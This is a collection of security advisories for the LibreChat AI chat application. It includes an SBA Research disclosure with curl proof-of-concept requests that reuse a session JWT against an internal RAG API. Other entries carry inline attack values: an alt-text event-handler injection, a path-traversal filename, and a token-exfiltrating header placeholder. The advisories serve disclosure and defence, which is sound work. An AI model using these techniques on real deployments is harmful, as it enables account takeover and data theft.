LibreChat is an enhanced ChatGPT clone that supports multiple AI providers. Prior to 0.8.4-rc1, the fix for CVE-2024-11171 (commit bb58a2d0) added limits: { fileSize } to createMulterInstance() in the file upload routes. However, the POST /api/convos/import endpoint uses a separate multer instance that was never updated with the same limits configuration. Combined with the application-level size check being disabled by default (the CONVERSATIONIMPORTMAXFILESIZEBYTES env var is commented out in .env.example), an authenticated user can upload arbitrarily large files to exhaust server disk space and memory. This vulnerability is fixed in 0.8.4-rc1.

LibreChat is an enhanced ChatGPT clone that supports multiple AI providers. Prior to 0.8.4-rc1, there is a vulnerability in LibreChat's markdown artifact preview pipeline. The marked library v15.0.12 does not HTML-escape double-quote characters in image alt text when a custom renderer falls through to the default renderer. LibreChat's generateMarkdownHtml function (in client/src/utils/markdown.ts) installs a custom image renderer that returns false for URLs passing the isSafeUrl allowlist check, which causes marked to fall back to its built-in renderer. That built-in renderer inserts the raw alt text into the alt="..." attribute without escaping double-quote characters. An attacker can craft an alt text such as " onload="payload to break out of the attribute and inject an arbitrary event handler. The resulting HTML is then assigned to document.getElementById('content').innerHTML inside the Sandpack preview iframe, causing the payload to execute in the victim's browser. This vulnerability is fixed in 0.8.4-rc1.

LibreChat is an enhanced ChatGPT clone that supports multiple AI providers. Prior to 0.8.4-rc1, the POST /api/files/images endpoint allows any authenticated user to upload files into any agent's toolresources (e.g., context, executecode) without verifying ownership or EDIT permission on the target agent. A permission check was added to the POST /api/files route in a previous patch, but the image upload route was never updated with the same check. An attacker can simply use the image endpoint instead of the file endpoint to bypass the authorization entirely. This vulnerability is fixed in 0.8.4-rc1.

LibreChat is an enhanced ChatGPT clone that supports multiple AI providers. Prior to 0.8.4-rc1, the DELETE /api/messages/:conversationId/:messageId endpoint allows any authenticated user to delete any other user's messages. The validateMessageReq middleware only validates that the conversationId belongs to the requesting user, but the handler calls deleteMessages({ messageId }) using only the messageId as the MongoDB filter — without adding a user constraint. An attacker provides their own valid conversationId (to pass validation) and the victim's messageId (to target deletion), resulting in permanent, irrecoverable message deletion. This vulnerability is fixed in 0.8.4-rc1.

LibreChat is an enhanced ChatGPT clone that supports multiple AI providers. Prior to 0.8.4-rc1, LibreChat allows users to configure custom OpenAI-compatible API endpoints by setting a baseURL. This URL is used to construct HTTP requests without any SSRF validation — no private IP check, no scheme restriction, no DNS pinning. An authenticated user can set baseURL to internal network addresses. This vulnerability is fixed in 0.8.4-rc1.

LibreChat is an enhanced ChatGPT clone that supports multiple AI providers. Prior to 0.8.4-rc1, the fix for CVE-2025-7105 added forkIpLimiter and forkUserLimiter rate limiters to POST /api/convos/fork to prevent rapid-fire conversation duplication. However, the POST /api/convos/duplicate endpoint — which is in the same file and performs the exact same expensive database operations — was not given any rate limiter. An authenticated user can bypass the CVE-2025-7105 fix by using /duplicate instead of /fork to exhaust server resources. This vulnerability is fixed in 0.8.4-rc1.

LibreChat is an enhanced ChatGPT clone that supports multiple AI providers. Prior to 0.8.5, LibreChat's MCP OAuth implementation does not validate that the resource parameter from OAuth Protected Resource metadata (RFC 9728) matches the configured MCP server URL, allowing a malicious MCP server to steal access tokens intended for a legitimate server. This vulnerability is fixed in 0.8.5.

LibreChat is an enhanced ChatGPT clone that supports multiple AI providers. Prior to 0.8.4-rc1, the POST /api/auth/2fa/backup/regenerate endpoint regenerates all 2FA backup codes without requiring any TOTP token or existing backup code verification. An attacker with a stolen session token can silently replace a victim's backup codes and use them to bypass 2FA login or disable 2FA entirely. This vulnerability is fixed in 0.8.4-rc1.

LibreChat is an enhanced ChatGPT clone that supports multiple AI providers. Prior to 0.8.4-rc1, the GET /api/auth/2fa/enable endpoint can be called by an authenticated user (or attacker with a stolen session) even when 2FA is already fully enabled on the account. This endpoint overwrites the existing TOTP secret, generates new backup codes, and sets twoFactorEnabled to false — all without requiring any TOTP or backup code verification. An attacker with a valid session token can completely take over a victim's 2FA, locking the legitimate user out of their own two-factor authentication. This vulnerability is fixed in 0.8.4-rc1.

LibreChat is an enhanced ChatGPT clone that supports multiple AI providers. In versions up to and including 0.8.3, a shared-agent editor can delete file records through DELETE /api/files that the owner has reused across multiple agents. The deletion removes the file globally — not just from the shared agent — breaking the owner's other private agents that reference the same fileid. The private agent retains a stale fileid reference that no longer resolves. A shared-agent editor can destroy files that the owner uses across multiple agents. The owner's private agents — which the attacker has no access to — break silently with stale fileid references. This is a cross-agent integrity violation: editing access to one agent should not affect another. Version 0.8.4 contains a patch.

LibreChat is an enhanced ChatGPT clone that supports multiple AI providers. In versions up to and including 0.8.3, users with only VIEW access to an MCP server can retrieve the server's decrypted admin-managed secrets through GET /api/mcp/servers and GET /api/mcp/servers/:serverName. The returned config includes plaintext values for apiKey.key and oauth.clientsecret. This allows viewers of a shared MCP server to exfiltrate the underlying provider credentials. Version 0.8..4 contains a patch. Other remediations include: never returning decrypted admin-managed secrets to non-owners; redacting apiKey.key and oauth.clientsecret from all API responses consider returning only boolean presence indicators for secrets, similar to the auth-values route pattern; and, if owners need to edit configs without re-entering secrets, preserving secrets server-side and returning placeholders instead of plaintext.

LibreChat is an enhanced ChatGPT clone that supports multiple AI providers. In versions up to and including 0.8.3, the Model Context Protocol (MCP) server integration resolves ${VAR} placeholders against the server's process.env during Zod schema validation of user-supplied MCP server URLs. Any authenticated user can create a malicious MCP server configuration with a URL pointing to an attacker-controlled domain containing environment variable references, causing the LibreChat server to connect to the attacker's server and transmit critical secrets such as CREDSKEY, CREDSIV, JWTSECRET, and MONGOURI in the request URL. This enables full compromise of the installation's cryptographic materials and database credentials without requiring administrative privileges. This is patched in version 0.8.4-rc1.

LibreChat is an enhanced ChatGPT clone that supports multiple AI providers. In versions up to and including 0.7.6, an Insecure Direct Object Reference (IDOR) vulnerability exists in the API keys management endpoint (PUT /api/keys). Due to the use of the JavaScript object spread operator after setting the authenticated user's ID, any authenticated user can inject a userId parameter in the request body to overwrite any other user's API keys (e.g., OpenAI, Anthropic, Azure). This allows an attacker to replace a victim's API key configuration, potentially routing the victim's conversations through attacker-controlled keys or denying service by providing invalid keys. This is patched in version 0.8.3-rc1.

LibreChat is a ChatGPT clone with additional features. Prior to 0.8.4, LibreChat trusts the name field returned by the executecode sandbox when persisting code-generated artifacts. On deployments using the default local file strategy, a malicious artifact filename containing traversal sequences (for example, ../../../../../app/client/dist/poc.txt) is concatenated into the server-side destination path and written with fs.writeFileSync() without sanitization. This gives any user who can trigger executecode an arbitrary file write primitive as the LibreChat server user. This vulnerability is fixed in 0.8.4.

LibreChat is a ChatGPT clone with additional features. In versions 0.8.2-rc1 through 0.8.3-rc1, user-created MCP (Model Context Protocol) servers can include arbitrary HTTP headers that undergo credential placeholder substitution. An attacker can create a malicious MCP server with headers containing {{LIBRECHATOPENIDACCESSTOKEN}} (and others), causing victims who call tools on that server to have their OAuth tokens exfiltrated. Version 0.8.3-rc2 fixes the issue.

LibreChat is a ChatGPT clone with additional features. In versions 0.8.2-rc2 through 0.8.2-rc3, the SSE streaming endpoint /api/agents/chat/stream/:streamId does not verify that the requesting user owns the stream. Any authenticated user who obtains or guesses a valid stream ID can subscribe and read another user's real-time chat content, including messages, AI responses, and tool invocations. Version 0.8.2 patches the issue.

LibreChat is a ChatGPT clone with additional features. Versions 0.8.2-rc2 through 0.8.2 are vulnerable to a server-side request forgery (SSRF) attack when using agent actions or MCP. Although a previous SSRF vulnerability (https://github.com/danny-avila/LibreChat/security/advisories/GHSA-rgjq-4q58-m3q8) was reported and patched, the fix only introduced hostname validation. It does not verify whether DNS resolution results in a private IP address. As a result, an attacker can still bypass the protection and gain access to internal resources, such as an internal RAG API or cloud instance metadata endpoints. Version 0.8.3-rc1 contains a patch.

LibreChat is a ChatGPT clone with additional features. Prior to version 0.8.3, isPrivateIP() in packages/api/src/auth/domain.ts fails to detect IPv4-mapped IPv6 addresses in their hex-normalized form, allowing any authenticated user to bypass SSRF protection and make the server issue HTTP requests to internal network resources — including cloud metadata services (e.g., AWS 169.254.169.254), loopback, and RFC1918 ranges. Version 0.8.3 fixes the issue.

In LibreChat 0.8.1-rc2, a logged-in user obtains a JWT for both the LibreChat API and the RAG API.

LibreChat version 0.8.1-rc2 uses the same JWT secret for the user session mechanism and RAG API which compromises the service-level authentication of the RAG API.

-----BEGIN PGP SIGNED MESSAGE----- Hash: SHA256

LibreChat RAG API Authentication Bypass #

Link: https://github.com/sbaresearch/advisories/tree/public/2025/SBA-ADV-20251205-01LibreChatRAGAPIAuthenticationBypass

Vulnerability Overview ##

LibreChat version 0.8.1-rc2 uses the same JWT secret for the user session mechanism and RAG API which compromises the service-level authentication of the RAG API.

Identifier : SBA-ADV-20251205-01 Type of Vulnerability : Incorrect Access Control Software/Product Name : LibreChat Vendor : LibreChat Affected Versions : 0.8.1-rc2 Fixed in Version : Not yet CVE ID : Not yet CVSSv3 Vector : CVSS:3.1/AV:A/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H CVSSv3 Base Score : 8.0 (High)

Vendor Description ## LibreChat is the ultimate open-source app for all your AI conversations, fully customizable and compatible with any AI provider — all in one sleek interface. Source: <https://www.librechat.ai/>

Impact ##

An authenticated attacker can use the user visible LibreChat session token to authenticate against the RAG API and use all RAG API endpoints since there is no further access control beyond the service-level authentication. Therefore, the attacker can read, replace and delete all documents or upload new documents. Since the RAG API is usually only accessible internally, it is necessary to either have internal network access or combine it with another vulnerability.

Vulnerability Description ##

LibreChat can use the RAG API for processing files. In the recommended Docker Compose setup, RAG API uses the same JWT authentication secret (environment variable JWTSECRET) that LibreChat uses for the user session management. LibreChat does not support using different JWT secrets. Moreover, after a successful login to LibreChat, it issues a JWT token to the user, which the browser running the UI uses to access the LibreChat API. An attacker who can log into LibreChat, can use this JWT token to directly authenticate against the RAG API. Since RAG API uses the same JWT secret and no further restrictions like audience are checked or contained within the JWT, it accepts the authentication. This gives the attacker full access to all RAG API endpoints since it only supports service-level authentication and is not designed in a way that a user should be able to access it directly.

Proof of Concept ##

We use a standard Docker Compose setup with LibreChat and RAG API. When trying to access the RAG API without authentication, the request is denied:

shellsession $ curl -v http://172.18.0.5:8000/ids Trying 172.18.0.5:8000... Established connection to 172.18.0.5 (172.18.0.5 port 8000) from 172.18.0.1 port 60864 using HTTP/1.x GET /ids HTTP/1.1 Host: 172.18.0.5:8000 User-Agent: curl/8.17.0 Accept: / Request completely sent off < HTTP/1.1 401 Unauthorized < date: Thu, 11 Dec 2025 16:50:35 GMT < server: uvicorn < content-length: 52 < content-type: application/json < Connection #0 to host 172.18.0.5:8000 left intact {"detail":"Missing or invalid Authorization header"}

Next, we log into LibreChat and observe the tokens returned to the user:

http POST /api/auth/login HTTP/1.1 Host: localhost:3080 Content-Length: 46 User-Agent: Mozilla/5.0 (X11; Linux x8664) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/142.0.0.0 Safari/537.36 Content-Type: application/json Connection: keep-alive [...]

{"email":"pt1 () example com","password":"12345678"}

HTTP/1.1 200 OK X-Robots-Tag: noindex Access-Control-Allow-Origin: X-RateLimit-Limit: 7 X-RateLimit-Remaining: 6 Date: Thu, 11 Dec 2025 16:37:46 GMT X-RateLimit-Reset: 1765471367 Set-Cookie: refreshToken=eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJpZCI6IjY5M2FmMzUyNzU5MTVlNTQyMTZiMWE0OCIsInNlc3Npb25JZCI6IjY5M2FmMzVhNzU5MTVlNTQyMTZiMWE0ZSIsImlhdCI6MTc2NTQ3MTA2NiwiZXhwIjoxNzY2MDc1ODY1fQ.hZQM-KInH5Unwovvo1zBFNgWmX0pwer1EhyChICBPqw; Path=/; Expires=Thu, 18 Dec 2025 16:37:46 GMT; HttpOnly; Secure; SameSite=Strict Set-Cookie: tokenprovider=librechat; Path=/; Expires=Thu, 18 Dec 2025 16:37:46 GMT; HttpOnly; Secure; SameSite=Strict Content-Type: application/json; charset=utf-8 Content-Length: 682 ETag: W/"2a3-hDwVDgsVWNb8yUDJWd8jOkcC1sY" Vary: Accept-Encoding Connection: keep-alive Keep-Alive: timeout=5

{"token":"eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJpZCI6IjY5M2FmMzUyNzU5MTVlNTQyMTZiMWE0OCIsInVzZXJuYW1lIjoiIiwicHJvdmlkZXIiOiJsb2NhbCIsImVtYWlsIjoicHQxQGV4YW1wbGUuY29tIiwiaWF0IjoxNzY1NDcxMDY2LCJleHAiOjE3NjU0NzE5NjZ9.3zKi6clYiZOVvCCY6ERCPeSs5EeKo3wNNIrBswycRw","user":{"id":"693af35275915e54216b1a48","name":"pt1","username":"","email":"pt1 () example com","emailVerified":true,"avatar":null,"provider":"local","role":"ADMIN","plugins":[],"twoFactorEnabled":false,"termsAccepted":false,"personalization":{"memories":true,"id":"693af35275915e54216b1a47"},"refreshToken":[],"createdAt":"2025-12-11T16:37:38.703Z","updatedAt":"2025-12-11T16:37:38.717Z","id":"693af35275915e54216b1a48"}}

LibreChat returns a JWT token that allows the UI to access the LibreChat API. However, the JWT token is also valid for the RAG API, as the following HTTP communication shows:

shellsession $ curl -v -H "Authorization: Bearer eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJpZCI6IjY5M2FmMzUyNzU5MTVlNTQyMTZiMWE0OCIsInVzZXJuYW1lIjoiIiwicHJvdmlkZXIiOiJsb2NhbCIsImVtYWlsIjoicHQxQGV4YW1wbGUuY29tIiwiaWF0IjoxNzY1NDcxMDY2LCJleHAiOjE3NjU0NzE5NjZ9.3zKi6clYiZOVvCCY6ERCPeSs5EeKo3wNNIrBswycRw" http://172.18.0.5:8000/ids Trying 172.18.0.5:8000... Established connection to 172.18.0.5 (172.18.0.5 port 8000) from 172.18.0.1 port 60874 using HTTP/1.x GET /ids HTTP/1.1 Host: 172.18.0.5:8000 User-Agent: curl/8.17.0 Accept: / Authorization: Bearer eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJpZCI6IjY5M2FmMzUyNzU5MTVlNTQyMTZiMWE0OCIsInVzZXJuYW1lIjoiIiwicHJvdmlkZXIiOiJsb2NhbCIsImVtYWlsIjoicHQxQGV4YW1wbGUuY29tIiwiaWF0IjoxNzY1NDcxMDY2LCJleHAiOjE3NjU0NzE5NjZ9.3zKi6clYiZOVvCCY6ERCPeSs5EeKo3wNNIrBswycRw Request completely sent off < HTTP/1.1 200 OK < date: Thu, 11 Dec 2025 16:50:38 GMT < server: uvicorn < content-length: 2 < content-type: application/json < Connection #0 to host 172.18.0.5:8000 left intact ["34f012e0-377a-4aa6-96f5-62f8a5949a25"]

Since RAG API does not provide access control beyond the service-level authentication, it is possible to access stored documents and also replace and delete them.

Recommended Countermeasures ##

We are not aware of a fix yet. Please contact the vendor.

We recommend using a separate JWT secret for the service-level authentication of the RAG API. Furthermore, we recommend adding audience claims to the JWT tokens and validate them in LibreChat and the RAG API, so that JWT tokens cannot be re-used even when the JWT secret is the same.

Moreover, we recommend using separate environment files for each service in the recommended Docker Compose setup, so that services like the RAG API only have access to the secrets they really need.

Timeline ##

2025-12-05 identification of vulnerability in version 0.8.1-rc2 2025-12-17 disclosed vulnerability to project via GitHub (GHSA-47h3-3457-xwpv) 2026-03-03 maintainer stated that the vulnerability is not externally exploitable anymore in default deployment due to SSRF fixes 2026-03-03 maintainer closed GitHub advisory 2026-03-18 public disclosure

References ##

1. OWASP Web Security Testing Guide (WSTG) v4.2. Testing for Bypassing Authentication Schema: <https://owasp.org/www-project-web-security-testing-guide/v42/4-WebApplicationSecurityTesting/04-AuthenticationTesting/04-TestingforBypassingAuthenticationSchema> 2. OWASP Top 10. A07:2021 Identification and Authentication Failures: <https://owasp.org/Top10/A072021-IdentificationandAuthenticationFailures/> 3. Common Weakness Enumeration. CWE-284 Improper Access Control: <https://cwe.mitre.org/data/definitions/284.html>

Credits ##

Lisa Gnedt (SBA Research) Michael Koppmann (SBA Research)

The discovery of this vulnerability was made possible through support from CYSSDE and the European Union.

!CYSSDE -----BEGIN PGP SIGNATURE-----

iQJPBAEBCAA5FiEEL9Wp/yZWFD9OpIt6+7iGL1j3dbIFAmm6fYcbFIAAAAAABAAO bWFudTIsMi41KzEuMTEsMiwxAAoJEPu4hi9Y93WyRkAP/A6TlEdKd20cqGxwoSgE Dk0UA9hiiol5FOFrKE9vXGutn2TXAwwGeC9ZHdZgEYLwqMM0HS6yeMQ+bEnxLba+ c8txjgAHQSd+4tlsyvCw9FUlIvBzVTeqmVB2BM2Wht+9BF0wm6OCgkNjAlq823Kk W679Y1g4KSrw6IJsdV0V90QJYdJXUgFE/zM7G5G+pysjQRje13Npu8Xrnrm3t5xl oKJ5+s90uUC/h2HDcPsA9VRL8d0DbGMJ7e1yGyu0Ela3KQ5+aPEKUQwZ8heWcwED FIC9haaYMAtveMpvmQpM6T02VdN7wDLd5RuKRCi1GHk9oaMymFsziiW1JHmhcgUX wVA42JQrMgZcm6cIQomA+owKDfF9K8Cb+bRjFLiA9zoWy9HaPzOOVORMIc1zROkP c+KHbtEUMR0cEfHBE7twCwezCzujfbkXOSOds0Yc871bKGuof/mSaxHOsp0MX5yy j2mhYdZQFeyen6MbBQzUsjs7LcDgqoG8kgM8JftVE8kRTW1pkPwWy68DC7O8I+Z4 NVb7ER9ThkQ1EeurhS9V8RzqR49XE82CSgjKjV53p1bjX/pYf5CO35GM5jgFFDQB fe1YmFD6TZywUvIWnwr4h4wci4ZKBaQnuxH4dfDN6fL4Lfz3mJ21VC8JoDYD2TJ3 vAP6mviLdJcUcSkPdeN0Gave =Q/ZB -----END PGP SIGNATURE-----

LibreChat RAG API, version 0.7.0, contains a log-injection vulnerability that allows attackers to forge log entries.

LibreChat is a ChatGPT clone with additional features. Prior to 0.8.3-rc1, a Denial of Service (DoS) vulnerability exists in the DELETE /api/convos endpoint that allows an authenticated attacker to crash the Node.js server process by sending malformed requests. The DELETE /api/convos route handler attempts to destructure req.body.arg without validating that it exists. The server crashes due to an unhandled TypeError that bypasses Express error handling middleware and triggers process.exit(1). This vulnerability is fixed in 0.8.3-rc1.

LibreChat is a ChatGPT clone with additional features. From 0.8.2 to 0.8.2-rc3, The MCP (Model Context Protocol) OAuth callback endpoint accepts the redirect from the identity provider and stores OAuth tokens for the user who initiated the flow, without verifying that the browser hitting the redirect URL is logged in or that the logged-in user matches the initiator. An attacker can send the authorization URL to a victim; when the victim completes the flow, the victim’s OAuth tokens are stored on the attacker’s LibreChat account, enabling account takeover of the victim’s MCP-linked services (e.g. Atlassian, Outlook). This vulnerability is fixed in 0.8.3-rc1.

LibreChat is a ChatGPT clone with additional features. Prior to v0.8.2-rc2, LibreChat's MCP stdio transport accepts arbitrary commands without validation, allowing any authenticated user to execute shell commands as root inside the container through a single API request. This vulnerability is fixed in v0.8.2-rc2.

LibreChat is a ChatGPT clone with additional features. Version 0.8.1-rc2 is prone to a server-side request forgery (SSRF) vulnerability due to missing restrictions of the Actions feature in the default configuration. LibreChat enables users to configure agents with predefined instructions and actions that can interact with remote services via OpenAPI specifications, supporting various HTTP methods, parameters, and authentication methods including custom headers. By default, there are no restrictions on accessible services, which means agents can also access internal components like the RAG API included in the default Docker Compose setup. This issue is fixed in version 0.8.1-rc2.

LibreChat is a ChatGPT clone with additional features. Version 0.8.1-rc2 does not enforce proper access control when querying agent permissions. An authenticated attacker can read the permissions of arbitrary agents, even if they have no permissions for this agent. LibreChat allows the configuration of agents that have a predefined set of instructions and context. Private agents are not visible to other users. However, if an attacker knows the agent ID, they can read the permissions of the agent including the permissions individually assigned to other users. This issue is fixed in version 0.8.2-rc2.

LibreChat is a ChatGPT clone with additional features. Version 0.8.1-rc2 does not enforce proper access control for file uploads to an agents file context and file search. An authenticated attacker with access to the agent ID can change the behavior of arbitrary agents by uploading new files to the file context or file search, even if they have no permissions for this agent. This issue is fixed in version 0.8.2-rc2.

LibreChat is a ChatGPT clone with additional features. In versions 0.8.0 and below, there is no handler for JSON parsing errors; SyntaxError from express.json() includes user input in the error message, which gets reflected in responses. User input (including HTML/JavaScript) can be exposed in error responses, creating an XSS risk if Content-Type isn't strictly enforced. This issue does not have a fix at the time of publication.

LibreChat is a ChatGPT clone with additional features. In versions 0.8.0 and below, when creating prompts, JSON requests are sent to define and modify the prompts via PATCH endpoint for prompt groups (/api/prompts/groups/:groupId). However, the request bodies are not sufficiently validated for proper input, enabling users to modify prompts in a way that was not intended as part of the front end system. The patchPromptGroup function passes req.body directly to updatePromptGroup() without filtering sensitive fields. This issue is fixed in version 0.8.1.